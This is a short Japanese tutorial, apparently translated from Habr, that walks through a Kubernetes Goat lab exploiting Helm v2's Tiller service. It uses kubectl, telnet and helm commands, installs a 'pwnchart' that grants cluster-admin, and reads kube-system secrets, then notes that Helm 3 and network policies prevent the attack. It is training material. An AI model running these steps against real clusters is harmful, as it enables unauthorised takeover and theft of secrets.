Helm は Kubernetes のパッケージ マネージャーです。次のようなものです。 apt-get
Ubuntuの場合。 このノートでは、デフォルトでインストールされた Tiller サービスを備えた Helm の以前のバージョン (v2) について説明します。これを通じてクラスターにアクセスします。
クラスターを準備しましょう。これを行うには、次のコマンドを実行します。
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
デモンストレーション
- 追加の構成を何も行わない場合、helm v2 は完全なクラスター管理者権限を持つ RBAC を持つ Tiller サービスを開始します。
- ネームスペースにインストールした後
kube-system
登場するtiller-deploy
、また、44134 にバインドされたポート 0.0.0.0 も開きます。 これは Telnet を使用して確認できます。
$ telnet tiller-deploy.kube-system 44134
- これで、Tiler サービスに接続できるようになりました。 ティラー サービスと通信するときに、helm バイナリを使用して操作を実行します。
$ helm --host tiller-deploy.kube-system:44134 version
- 名前空間から Kubernetes クラスターのシークレットを取得してみましょう
kube-system
:
$ kubectl get secrets -n kube-system
- ここで、独自のチャートを作成できます。このチャートでは、管理者権限を持つロールを作成し、このロールをデフォルトのサービス アカウントに割り当てます。 このサービス アカウントのトークンを使用して、クラスターへの完全なアクセス権を取得しました。
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- 今いつ
pwnchart
導入された場合、デフォルトのサービス アカウントには完全な管理アクセス権が与えられます。 シークレットの入手方法をもう一度確認しましょうkube-system
kubectl get secrets -n kube-system
このスクリプトが正常に実行されるかどうかは、tiller がどのようにデプロイされたかによって決まります。場合によっては、管理者が異なる権限を持つ別の名前空間にそれをデプロイすることもあります。 Helm 3 はそのような脆弱性の影響を受けません。 耕耘機は入っていません。
翻訳者のメモ: ネットワーク ポリシーを使用してクラスター内のトラフィックをフィルターすると、このタイプの脆弱性から保護することができます。
出所: habr.com